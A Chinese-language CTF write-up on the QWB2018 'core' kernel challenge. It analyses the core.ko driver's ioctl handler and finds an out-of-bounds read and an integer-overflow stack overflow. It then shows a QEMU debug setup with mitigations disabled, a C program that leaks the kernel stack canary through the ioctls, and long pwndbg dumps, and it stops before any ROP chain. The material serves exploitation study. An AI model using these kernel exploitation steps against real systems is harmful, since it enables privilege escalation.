ctf-challenges/pwn/linux/kernel-mode/QWB2018-core at master · ctf-wiki/ctf-challenges · GitHub
参考: qwb2018 核心复现 ROP – wsxk’s blog – 小菜鸡
tips: 如果你不理解某些部分,应该停下来而不是继续。
core.cpio
文件通常是一个归档文件,采用了 CPIO 格式。这种文件格式常用于存储多个文件和目录结构,尤其是在 Linux 和 Unix 系统中。core.cpio
文件通常用于将多个文件打包成一个归档文件,以便在系统间迁移或者作为备份存储。
在乌班图中可以直接点击并提取,注意不要覆盖原有文件,解压到新目录
在 Linux 系统中,内核初始化文件(通常称为
init
文件或init
进程配置)是系统启动过程中至关重要的组成部分。它负责在 Linux 内核加载后,初始化用户空间的服务、守护进程和系统环境。
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
insmod
是一个用于将内核模块加载到 Linux 内核中的命令。它是 “insert module”(插入模块)的缩写,通常用来将已经编译好的.ko
文件(内核模块)加载到运行中的 Linux 系统内核中,从而为系统提供新功能,比如设备驱动程序、文件系统支持、网络协议栈等。
接下来我们分析core.ko
init_module()
函数是 Linux 内核模块的初始化函数之一。在编写内核模块时,init_module()
用于执行在模块加载时需要初始化的任务,例如注册设备、初始化资源、配置网络接口等操作。
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}
proc_create
是 Linux 内核中的一个函数,用于创建一个新的 /proc
文件系统条目。这个函数常用于内核模块中,以便在 /proc
文件系统下创建一个新的文件,使得用户空间程序可以通过这个文件与内核模块进行交互。
struct proc_dir_entry *proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *fops);
name: 这是要创建的 /proc
文件的名称。它是一个字符串,表示文件的名称。
mode: 这是文件的权限模式,通常使用 S_IRUGO
、S_IWUSR
等宏来设置读、写权限等。umode_t
是一个表示文件模式的类型。
parent: 这是一个指向父目录条目的指针。如果为 NULL
,则在根目录下创建文件。
fops: 这是一个指向 file_operations
结构的指针,包含了对这个文件的操作函数的定义,例如打开、读取、写入等操作。
.data:0000000000000420 core_fops dq offset __this_module ; DATA XREF: init_module↑o
.data:0000000000000428 db 0
.data:0000000000000429 db 0
.data:000000000000042A db 0
.data:000000000000042B db 0
.data:000000000000042C db 0
.data:000000000000042D db 0
.data:000000000000042E db 0
.data:000000000000042F db 0
.data:0000000000000430 db 0
.data:0000000000000431 db 0
.data:0000000000000432 db 0
.data:0000000000000433 db 0
.data:0000000000000434 db 0
.data:0000000000000435 db 0
.data:0000000000000436 db 0
.data:0000000000000437 db 0
.data:0000000000000438 dq offset core_write
.data:0000000000000440 db 0
.data:0000000000000441 db 0
.data:0000000000000442 db 0
.data:0000000000000443 db 0
.data:0000000000000444 db 0
.data:0000000000000445 db 0
.data:0000000000000446 db 0
.data:0000000000000447 db 0
.data:0000000000000448 db 0
.data:0000000000000449 db 0
.data:000000000000044A db 0
.data:000000000000044B db 0
.data:000000000000044C db 0
.data:000000000000044D db 0
.data:000000000000044E db 0
.data:000000000000044F db 0
.data:0000000000000450 db 0
.data:0000000000000451 db 0
.data:0000000000000452 db 0
.data:0000000000000453 db 0
.data:0000000000000454 db 0
.data:0000000000000455 db 0
.data:0000000000000456 db 0
.data:0000000000000457 db 0
.data:0000000000000458 db 0
.data:0000000000000459 db 0
.data:000000000000045A db 0
.data:000000000000045B db 0
.data:000000000000045C db 0
.data:000000000000045D db 0
.data:000000000000045E db 0
.data:000000000000045F db 0
.data:0000000000000460 db 0
.data:0000000000000461 db 0
.data:0000000000000462 db 0
.data:0000000000000463 db 0
.data:0000000000000464 db 0
.data:0000000000000465 db 0
.data:0000000000000466 db 0
.data:0000000000000467 db 0
.data:0000000000000468 dq offset core_ioctl
.data:0000000000000470 db 0
.data:0000000000000471 db 0
.data:0000000000000472 db 0
.data:0000000000000473 db 0
.data:0000000000000474 db 0
.data:0000000000000475 db 0
.data:0000000000000476 db 0
.data:0000000000000477 db 0
.data:0000000000000478 db 0
.data:0000000000000479 db 0
.data:000000000000047A db 0
.data:000000000000047B db 0
.data:000000000000047C db 0
.data:000000000000047D db 0
.data:000000000000047E db 0
.data:000000000000047F db 0
.data:0000000000000480 db 0
.data:0000000000000481 db 0
.data:0000000000000482 db 0
.data:0000000000000483 db 0
.data:0000000000000484 db 0
.data:0000000000000485 db 0
.data:0000000000000486 db 0
.data:0000000000000487 db 0
.data:0000000000000488 db 0
.data:0000000000000489 db 0
.data:000000000000048A db 0
.data:000000000000048B db 0
.data:000000000000048C db 0
.data:000000000000048D db 0
.data:000000000000048E db 0
.data:000000000000048F db 0
.data:0000000000000490 db 0
.data:0000000000000491 db 0
.data:0000000000000492 db 0
.data:0000000000000493 db 0
.data:0000000000000494 db 0
.data:0000000000000495 db 0
.data:0000000000000496 db 0
.data:0000000000000497 db 0
.data:0000000000000498 dq offset core_release
.data:00000000000004A0 db 0
.data:00000000000004A1 db 0
.data:00000000000004A2 db 0
.data:00000000000004A3 db 0
.data:00000000000004A4 db 0
.data:00000000000004A5 db 0
.data:00000000000004A6 db 0
.data:00000000000004A7 db 0
.data:00000000000004A8 db 0
.data:00000000000004A9 db 0
.data:00000000000004AA db 0
.data:00000000000004AB db 0
.data:00000000000004AC db 0
.data:00000000000004AD db 0
.data:00000000000004AE db 0
.data:00000000000004AF db 0
.data:00000000000004B0 db 0
.data:00000000000004B1 db 0
.data:00000000000004B2 db 0
.data:00000000000004B3 db 0
.data:00000000000004B4 db 0
.data:00000000000004B5 db 0
.data:00000000000004B6 db 0
.data:00000000000004B7 db 0
.data:00000000000004B8 db 0
.data:00000000000004B9 db 0
.data:00000000000004BA db 0
.data:00000000000004BB db 0
.data:00000000000004BC db 0
.data:00000000000004BD db 0
.data:00000000000004BE db 0
.data:00000000000004BF db 0
.data:00000000000004C0 db 0
.data:00000000000004C1 db 0
.data:00000000000004C2 db 0
.data:00000000000004C3 db 0
.data:00000000000004C4 db 0
.data:00000000000004C5 db 0
.data:00000000000004C6 db 0
.data:00000000000004C7 db 0
.data:00000000000004C8 db 0
.data:00000000000004C9 db 0
.data:00000000000004CA db 0
.data:00000000000004CB db 0
.data:00000000000004CC db 0
.data:00000000000004CD db 0
.data:00000000000004CE db 0
.data:00000000000004CF db 0
.data:00000000000004D0 db 0
.data:00000000000004D1 db 0
.data:00000000000004D2 db 0
.data:00000000000004D3 db 0
.data:00000000000004D4 db 0
.data:00000000000004D5 db 0
.data:00000000000004D6 db 0
.data:00000000000004D7 db 0
.data:00000000000004D8 db 0
.data:00000000000004D9 db 0
.data:00000000000004DA db 0
.data:00000000000004DB db 0
.data:00000000000004DC db 0
.data:00000000000004DD db 0
.data:00000000000004DE db 0
.data:00000000000004DF db 0
.data:00000000000004E0 db 0
.data:00000000000004E1 db 0
.data:00000000000004E2 db 0
.data:00000000000004E3 db 0
.data:00000000000004E4 db 0
.data:00000000000004E5 db 0
.data:00000000000004E6 db 0
.data:00000000000004E7 db 0
.data:00000000000004E8 db 0
.data:00000000000004E9 db 0
.data:00000000000004EA db 0
.data:00000000000004EB db 0
.data:00000000000004EC db 0
.data:00000000000004ED db 0
.data:00000000000004EE db 0
.data:00000000000004EF db 0
.data:00000000000004F0 db 0
.data:00000000000004F1 db 0
.data:00000000000004F2 db 0
.data:00000000000004F3 db 0
.data:00000000000004F4 db 0
.data:00000000000004F5 db 0
.data:00000000000004F6 db 0
.data:00000000000004F7 db 0
.data:00000000000004F8 db 0
.data:00000000000004F9 db 0
.data:00000000000004FA db 0
.data:00000000000004FB db 0
.data:00000000000004FC db 0
.data:00000000000004FD db 0
.data:00000000000004FE db 0
.data:00000000000004FF db 0
.data:0000000000000500 db 0
.data:0000000000000501 db 0
.data:0000000000000502 db 0
.data:0000000000000503 db 0
.data:0000000000000504 db 0
.data:0000000000000505 db 0
.data:0000000000000506 db 0
.data:0000000000000507 db 0
.data:0000000000000508 db 0
.data:0000000000000509 db 0
.data:000000000000050A db 0
.data:000000000000050B db 0
.data:000000000000050C db 0
.data:000000000000050D db 0
.data:000000000000050E db 0
.data:000000000000050F db 0
.data:0000000000000510 db 0
.data:0000000000000511 db 0
.data:0000000000000512 db 0
.data:0000000000000513 db 0
.data:0000000000000514 db 0
.data:0000000000000515 db 0
.data:0000000000000516 db 0
.data:0000000000000517 db 0
.data:0000000000000517 _data ends
你或许不理解这是什么,但是下面的内容或许会让你理解。
c语言中没有类,但是我们可以用结构体来伪造一个类的效果
我们抛开复杂的继承和多态,用最简单的结构体 + 函数指针模拟一个“类”:
// 定义一个“动物类”
typedef struct {
// 数据成员(类似类的属性)
int age;
const char* name;
// 函数指针(模拟类的方法)
void (*speak)(void);
} Animal;
// 实现“动物类”的 speak 方法
void animal_speak(void) {
printf("Animal speaks!\n");
}
int main() {
// 创建一个“对象”
Animal my_cat = {
.age = 2,
.name = "Mimi",
.speak = animal_speak // 绑定方法
};
// 调用方法
my_cat.speak(); // 输出: Animal speaks!
return 0;
}
core_fops中的这些地址类似于
类的函数
Linux 通过设备文件(如
/dev/sda
,/dev/tty
,/dev/gpu
)将硬件设备或内核功能抽象为文件。用户程序操作这些文件时,实际是通过文件接口调用驱动。
例如:
int fd = open("/dev/mydevice", O_RDWR); // 打开设备文件
read(fd, buffer, size); // 通过驱动读取设备数据
write(fd, data, size); // 通过驱动向设备写入数据
close(fd); // 关闭设备
这些操作最终会映射到驱动中实现的 file_operations
结构体中的函数(如 .read
, .write
)。
接下来我会解释驱动中的 ioctl 函数
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 1719109787:
core_read(a3);
break;
case 1719109788:
printk("\x016core: %d\n", a3);
off = a3;
break;
case 1719109786:
printk("\x016core: called core_copy\n");
core_copy_func(a3);
break;
}
return 0LL;
}
tips: printk与print用法无区别,printk是内核中的print
假设你有一个电风扇,它有基本功能:
read()
:查看当前风速(读数据)。write()
:调整风速(写数据)。但如果你想做更复杂的操作,比如:
这些操作无法直接用read/write
实现——这时就需要 ioctl
!它像一个万能遥控器,通过发送特定指令控制设备的“隐藏功能”。
ioctl
的工作流程用户程序:
你调用 ioctl(fd, 指令, 参数)
,比如:
ioctl(fan_fd, SET_OSCILLATE, 1); // 开启风扇摇头
内核驱动:
驱动中有一个电路板(switch-case
结构),根据指令执行对应操作:
switch (cmd) {
case SET_OSCILLATE: // 处理摇头指令
enable_oscillate(arg);
break;
case SET_TIMER: // 处理定时指令
set_timer(arg);
break;
// ...其他指令
}
接下来我们需要分析函数漏洞
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]
v6 = __readgsqword(0x28u);
printk(byte_25B);
printk(byte_275, off, a1);
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}
接下来我会解释 copy_to_user
copy_to_user
想象你住在两个被高墙隔开的城市:内核城(内核空间)和用户镇(用户空间)。这两个地方有严格的法律规定:
copy_to_user
)来传递物品。假设内核城有一个重要包裹(数据)要送到用户镇某个地址(用户空间指针)。直接开车冲过去可能引发混乱(系统崩溃或安全漏洞),所以必须按规矩来:
检查地址有效性:
快递员先确认用户镇的地址是否存在、是否合法(防止你写错门牌号导致包裹丢失)。
小心搬运:
如果用户镇的地址在某个暂时关闭的区域(内存被换出到磁盘),快递员会耐心等待区域开放(触发缺页异常并重新映射内存),再继续送货。
安全送达:
包裹通过专用通道(安全的内存复制操作)送到用户镇,全程避免碰撞其他包裹(数据损坏)。
返回签收单:
快递员返回时告诉你:“成功送出了多少件包裹”(返回 0
表示全部成功,非零值表示部分失败)。
// 内核代码:将内核缓冲区 kernel_data 的数据拷贝到用户空间指针 user_buffer
int result = copy_to_user(user_buffer, kernel_data, data_size);
if (result != 0) {
printk("快递失败!还剩 %d 个包裹没送到\n", result);
return -EFAULT;
}
memcpy
?直接闯关危险:
memcpy
像无证驾驶,可能撞墙(访问无效地址触发崩溃)或误伤路人(破坏用户程序数据)。
快递员的专业性:
copy_to_user
会处理地址检查、内存映射、权限验证等细节,确保安全合规。
copy_to_user
是内核与用户空间之间的“官方快递员”,确保数据传递既安全又合法,避免直接操作引发的灾难。
此处存在数组越界,因为 off 是我们决定的,我们继续看另一个函数
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(byte_215);
if ( a1 > 63 )
{
printk(byte_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}
此处存在整数溢出,而且使用了qmemcpy,这意味这我们可以读入一超长有效负载
此外,还有一个write函数可以设置name的值
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(byte_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(byte_230, a2);
return 4294967282LL;
}
接下来我们将开始调试内核驱动
start.sh
我们在调试时需要禁止内核地址随机化,增加内存
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr nopti mitigations=off" \
-s \
-S \
-netdev user,id=t0 \
-device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor none \
-cpu qemu64,+smep,+smap
接下来我们要剔除init脚本中的定时关机以及保护措施
#!/bin/sh
# 挂载基础文件系统
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
# 禁用内核符号地址隐藏(关键调试配置)
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict
cat /proc/kallsyms > /tmp/kallsyms
# 网络配置(若需网络调试则保留)
ifconfig eth0 up
udhcpc -i eth0 || ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
# 加载驱动模块(增加错误处理)
insmod /core.ko || {
echo "[!] Failed to load core.ko! Entering emergency shell..."
/bin/sh
}
# 启动调试Shell(root权限+持续运行)
echo -e "\n\n[+] System ready for debugging! Entering debug shell..."
setsid /bin/cttyhack /bin/sh -c 'exec /bin/sh /dev/ttyS0 2>&1'
# 移除关机逻辑
# echo -e "\n[!] Shutting down..."
# umount /proc
# umount /sys
# poweroff -d 0 -f
# 添加保持系统运行的机制
echo "[+] Debug shell exited. Keeping the system alive..."
while true; do
sleep 99999999
done
然后重新打包 .cpio
find . | cpio -ov --format=newc > ../core.cpio
运行start我们需要使用pwndbg附加内核
gdb -q vmlinux -ex "target remote :1234" -ex "c"
接下来获取内核驱动基地址
cat /proc/modules
core 16384 0 - Live 0xffffffffc0000000 (O)
ctrl+c在gdb中附加驱动文件
add-symbol-file core.ko 0xffffffffc0000000
b core_read
现在我们可以开始调试驱动了
tips: qume内使用 dmesg 可以查看printk的输出
gdb -q vmlinux -ex "target remote :1234" -ex "add-symbol-file core.ko 0xffffffffc0000000" -ex "b *0xffffffffc0000131" -ex "c"
我们要先确定金丝雀的偏移
#include
#include
#include
#include
#include
#include
#include
int set_off(int fd, unsigned long off) {
if (ioctl(fd, 1719109788, off) == -1) {
perror("[!] set_off ioctl failed");
return -1;
}
return 0;
}
int core_read(int fd, void *copy_to_addr) {
if (ioctl(fd, 1719109787, copy_to_addr) == -1) {
perror("[!] core_read ioctl failed");
return -1;
}
return 0;
}
int core_copy_func(int fd, int len=-1) {
if (ioctl(fd, 1719109786, len) == -1) {
perror("[!] core_copy_func ioctl failed");
return -1;
}
return 0;
}
int main() {
int fd = open("/proc/core", O_RDWR);
if (fd < 0) {
perror("[!] open failed");
return EXIT_FAILURE;
}
printf("[+] open success!\n");
char buf[0x40]={0};
set_off(fd, 0);
core_read(fd, buf);
for(int i=0;i<=8;i++)
printf("leak: %p\n", buf[i*8]);
}
pwndbg>
0xffffffffc00000cc in core_read ()
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────
RAX 0xffffc9000016be18 ◂— 0xffffc9000016be18
RBX 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
RCX 0
RDX 0x40
*RDI 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
RSI 0xffffc9000016be18 ◂— 0xffffc9000016be18
R8 0xffffffff8273b560 (__log_buf) ◂— 0xffffffff8273b560
R9 0xdf6
R10 0
R11 4
R12 0xffff88001a4277a0 ◂— 0xffff88001a4277a0
R13 0x6677889b
R14 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
R15 0
RBP 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
RSP 0xffffc9000016be18 ◂— 0xffffc9000016be18
*RIP 0xffffffffc00000cc (core_read+105) ◂— 0xffffffffc00000cc
────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────
0xffffffffc00000b5 call 0xffffffff81860360
0xffffffffc00000ba mov rsi, rsp RSI => 0xffffc9000016be18 ◂— 0xffffc9000016be18
0xffffffffc00000bd add rsi, qword ptr [rip + 0x2b3c]
0xffffffffc00000c4 mov edx, irq_stack_union+64 EDX => 0x40
0xffffffffc00000c9 mov rdi, rbx RDI => 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
► 0xffffffffc00000cc call 0xffffffff81326f10 <_copy_to_user>
rdi: 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
rsi: 0xffffc9000016be18 ◂— 0xffffc9000016be18
rdx: 0x40
rcx: 0
0xffffffffc00000d1 test rax, rax
0xffffffffc00000d4 je 0xffffffffc00000db
0xffffffffc00000d6 swapgs
0xffffffffc00000d9 pop rbp
0xffffffffc00000da ret
──────────────────────────────────────────[ STACK ]──────────────────────────────────────────
00:0000│ rax rsi rsp 0xffffc9000016be18 ◂— 0xffffc9000016be18
01:0008│ 0xffffc9000016be20 ◂— 0xffffc9000016be20
02:0010│ 0xffffc9000016be28 ◂— 0xffffc9000016be28
03:0018│ 0xffffc9000016be30 ◂— 0xffffc9000016be30
04:0020│ 0xffffc9000016be38 ◂— 0xffffc9000016be38
05:0028│ 0xffffc9000016be40 ◂— 0xffffc9000016be40
... ↓ 2 skipped
────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────
► 0 0xffffffffc00000cc core_read+105
1 0x20656d6f636c6557 None
2 0x5120656874206f74 None
3 0x6320465443204257 None
4 0x65676e656c6c6168 None
5 0xa2e irq_stack_union+2606
6 0x0 irq_stack_union
─────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 30
Warning: Avoided exploring possible address 0xffffffff82256968.
You can explicitly explore it with `vmmap_explore 0xffffffff82256000`
Warning: Avoided exploring possible address 0xffffffff8278af50.
You can explicitly explore it with `vmmap_explore 0xffffffff8278a000`
Warning: Avoided exploring possible address 0xffffffff8118f28f.
You can explicitly explore it with `vmmap_explore 0xffffffff8118f000`
00:0000│ rax rsi rsp 0xffffc9000016be18 ◂— 0xffffc9000016be18
01:0008│ 0xffffc9000016be20 ◂— 0xffffc9000016be20
02:0010│ 0xffffc9000016be28 ◂— 0xffffc9000016be28
03:0018│ 0xffffc9000016be30 ◂— 0xffffc9000016be30
04:0020│ 0xffffc9000016be38 ◂— 0xffffc9000016be38
05:0028│ 0xffffc9000016be40 ◂— 0xffffc9000016be40
... ↓ 2 skipped
08:0040│ 0xffffc9000016be58 ◂— 0xffffc9000016be58
09:0048│ 0xffffc9000016be60 —▸ 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
0a:0050│ 0xffffc9000016be68 —▸ 0xffffffffc000019b (core_ioctl+60) ◂— 0xffffffffc000019b
0b:0058│ 0xffffc9000016be70 —▸ 0xffff88001fb92e40 ◂— 0xffff88001fb92e40
0c:0060│ 0xffffc9000016be78 —▸ 0xffffffff811dd6d1 (proc_reg_unlocked_ioctl+49) ◂— 0xffffffff811dd6d1
0d:0068│ 0xffffc9000016be80 ◂— 0xffffc9000016be80
0e:0070│ 0xffffc9000016be88 —▸ 0xffff88001f920000 ◂— 0xffff88001f920000
0f:0078│ 0xffffc9000016be90 —▸ 0xffffffff8118ecfa (do_vfs_ioctl+138) ◂— 0xffffffff8118ecfa
10:0080│ 0xffffc9000016be98 —▸ 0xffffc9000016be70 —▸ 0xffff88001fb92e40 ◂— 0xffff88001fb92e40
11:0088│ 0xffffc9000016bea0 ◂— 0xffffc9000016bea0
12:0090│ 0xffffc9000016bea8 ◂— 0xffffc9000016bea8
13:0098│ 0xffffc9000016beb0 —▸ 0xffffffff82256968 (selinux_hooks+2440) —▸ 0xffffffff8278af50 (security_hook_heads+1040) ◂— 0xffffffff8278af50
14:00a0│ 0xffffc9000016beb8 ◂— 0xffffc9000016beb8
15:00a8│ 0xffffc9000016bec0 —▸ 0xffff88001f920000 ◂— 0xffff88001f920000
16:00b0│ 0xffffc9000016bec8 —▸ 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
17:00b8│ 0xffffc9000016bed0 —▸ 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
18:00c0│ 0xffffc9000016bed8 —▸ 0xffff88001f920000 ◂— 0xffff88001f920000
19:00c8│ 0xffffc9000016bee0 —▸ 0xffff88001f920000 ◂— 0xffff88001f920000
1a:00d0│ 0xffffc9000016bee8 ◂— 0xffffc9000016bee8
1b:00d8│ 0xffffc9000016bef0 ◂— 0xffffc9000016bef0
1c:00e0│ 0xffffc9000016bef8 —▸ 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
1d:00e8│ 0xffffc9000016bf00 —▸ 0xffffffff8118f28f (sys_ioctl+111) ◂— 0xffffffff8118f28f
rax, qword ptr [rsp + 0x40]
处
pwndbg>
0xffffffffc00000db in core_read ()
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
RAX 0
RBX 0x7fff9c742820 ◂— 0x7fff9c742820
RCX 0
RDX 0
RDI 0x7fff9c742860 ◂— 0x7fff9c742860
RSI 0xffffc9000016fe58 ◂— 0xffffc9000016fe58
R8 0xffffffff8273b560 (__log_buf) ◂— 0xffffffff8273b560
R9 0xde4
R10 0
R11 4
R12 0xffff88001a4277a0 ◂— 0xffff88001a4277a0
R13 0x6677889b
R14 0x7fff9c742820 ◂— 0x7fff9c742820
R15 0
RBP 0x7fff9c742820 ◂— 0x7fff9c742820
RSP 0xffffc9000016fe18 ◂— 0xffffc9000016fe18
*RIP 0xffffffffc00000db (core_read+120) ◂— 0xffffffffc00000db
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
0xffffffffc00000c4 mov edx, irq_stack_union+64 EDX => 0x40
0xffffffffc00000c9 mov rdi, rbx RDI => 0x7fff9c742820 ◂— 0x7fff9c742820
0xffffffffc00000cc call 0xffffffff81326f10 <_copy_to_user>
0xffffffffc00000d1 test rax, rax 0 & 0
0xffffffffc00000d4 ✔ je 0xffffffffc00000db
↓
► 0xffffffffc00000db mov rax, qword ptr [rsp + 0x40] RAX, [0xffffc9000016fe58] => 0x717c119b720a0b00
0xffffffffc00000e0 xor rax, qword ptr gs:[0x28]
0xffffffffc00000e9 je 0xffffffffc00000f0
0xffffffffc00000eb call 0xffffffff810820e0 <__stack_chk_fail>
0xffffffffc00000f0 add rsp, irq_stack_union+72
0xffffffffc00000f4 pop rbx
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc9000016fe18 ◂— 0xffffc9000016fe18
01:0008│ 0xffffc9000016fe20 ◂— 0xffffc9000016fe20
02:0010│ 0xffffc9000016fe28 ◂— 0xffffc9000016fe28
03:0018│ 0xffffc9000016fe30 ◂— 0xffffc9000016fe30
04:0020│ 0xffffc9000016fe38 ◂— 0xffffc9000016fe38
05:0028│ 0xffffc9000016fe40 ◂— 0xffffc9000016fe40
... ↓ 2 skipped
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
► 0 0xffffffffc00000db core_read+120
1 0x20656d6f636c6557 None
2 0x5120656874206f74 None
3 0x6320465443204257 None
4 0x65676e656c6c6168 None
5 0xa2e irq_stack_union+2606
6 0x0 irq_stack_union
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 30
00:0000│ rsp 0xffffc9000016fe18 ◂— 0xffffc9000016fe18
01:0008│ 0xffffc9000016fe20 ◂— 0xffffc9000016fe20
02:0010│ 0xffffc9000016fe28 ◂— 0xffffc9000016fe28
03:0018│ 0xffffc9000016fe30 ◂— 0xffffc9000016fe30
04:0020│ 0xffffc9000016fe38 ◂— 0xffffc9000016fe38
05:0028│ 0xffffc9000016fe40 ◂— 0xffffc9000016fe40
... ↓ 2 skipped
08:0040│ rsi 0xffffc9000016fe58 ◂— 0xffffc9000016fe58
09:0048│ 0xffffc9000016fe60 —▸ 0x7fff9c742820 ◂— 0x7fff9c742820
0a:0050│ 0xffffc9000016fe68 —▸ 0xffffffffc000019b (core_ioctl+60) ◂— 0xffffffffc000019b
0b:0058│ 0xffffc9000016fe70 —▸ 0xffff88001fba1e40 ◂— 0xffff88001fba1e40
0c:0060│ 0xffffc9000016fe78 —▸ 0xffffffff811dd6d1 (proc_reg_unlocked_ioctl+49) ◂— 0xffffffff811dd6d1
0d:0068│ 0xffffc9000016fe80 ◂— 0xffffc9000016fe80
0e:0070│ 0xffffc9000016fe88 —▸ 0xffff88001f8a0000 ◂— 0xffff88001f8a0000
0f:0078│ 0xffffc9000016fe90 —▸ 0xffffffff8118ecfa (do_vfs_ioctl+138) ◂— 0xffffffff8118ecfa
10:0080│ 0xffffc9000016fe98 —▸ 0xffffc9000016fe70 —▸ 0xffff88001fba1e40 ◂— 0xffff88001fba1e40
11:0088│ 0xffffc9000016fea0 ◂— 0xffffc9000016fea0
12:0090│ 0xffffc9000016fea8 ◂— 0xffffc9000016fea8
13:0098│ 0xffffc9000016feb0 —▸ 0xffffffff82256968 (selinux_hooks+2440) —▸ 0xffffffff8278af50 (security_hook_heads+1040) ◂— 0xffffffff8278af50
14:00a0│ 0xffffc9000016feb8 ◂— 0xffffc9000016feb8
15:00a8│ 0xffffc9000016fec0 —▸ 0xffff88001f8a0000 ◂— 0xffff88001f8a0000
16:00b0│ 0xffffc9000016fec8 —▸ 0x7fff9c742820 ◂— 0x7fff9c742820
17:00b8│ 0xffffc9000016fed0 —▸ 0x7fff9c742820 ◂— 0x7fff9c742820
18:00c0│ 0xffffc9000016fed8 —▸ 0xffff88001f8a0000 ◂— 0xffff88001f8a0000
19:00c8│ 0xffffc9000016fee0 —▸ 0xffff88001f8a0000 ◂— 0xffff88001f8a0000
1a:00d0│ 0xffffc9000016fee8 ◂— 0xffffc9000016fee8
1b:00d8│ 0xffffc9000016fef0 ◂— 0xffffc9000016fef0
1c:00e0│ 0xffffc9000016fef8 —▸ 0x7fff9c742820 ◂— 0x7fff9c742820
1d:00e8│ 0xffffc9000016ff00 —▸ 0xffffffff8118f28f (sys_ioctl+111) ◂— 0xffffffff8118f28f
pwndbg> x/32xg 0xffffc9000016fe58
0xffffc9000016fe58: 0x717c119b720a0b00 0x00007fff9c742820
0xffffc9000016fe68: 0xffffffffc000019b 0xffff88001fba1e40
0xffffc9000016fe78: 0xffffffff811dd6d1 0x000000000000889b
0xffffc9000016fe88: 0xffff88001f8a0000 0xffffffff8118ecfa
0xffffc9000016fe98: 0xffffc9000016fe70 0x0000000000000012
0xffffc9000016fea8: 0x0000000000000002 0xffffffff82256968
0xffffc9000016feb8: 0x000000006677889b 0xffff88001f8a0000
0xffffc9000016fec8: 0x00007fff9c742820 0x00007fff9c742820
0xffffc9000016fed8: 0xffff88001f8a0000 0xffff88001f8a0000
0xffffc9000016fee8: 0x0000000000000003 0x000000006677889b
0xffffc9000016fef8: 0x00007fff9c742820 0xffffffff8118f28f
0xffffc9000016ff08: 0x0000000000000000 0xffffc9000016ff58
0xffffc9000016ff18: 0x0000000000000000 0x0000000000000000
0xffffc9000016ff28: 0x0000000000000000 0x0000000000000000
0xffffc9000016ff38: 0xffffffff810013f6 0x0000000000000000
0xffffc9000016ff48: 0x0000000000000000 0xffffffff81a00071
tips: pwndbg 的 stack 工具在内核中似乎不是那么可靠
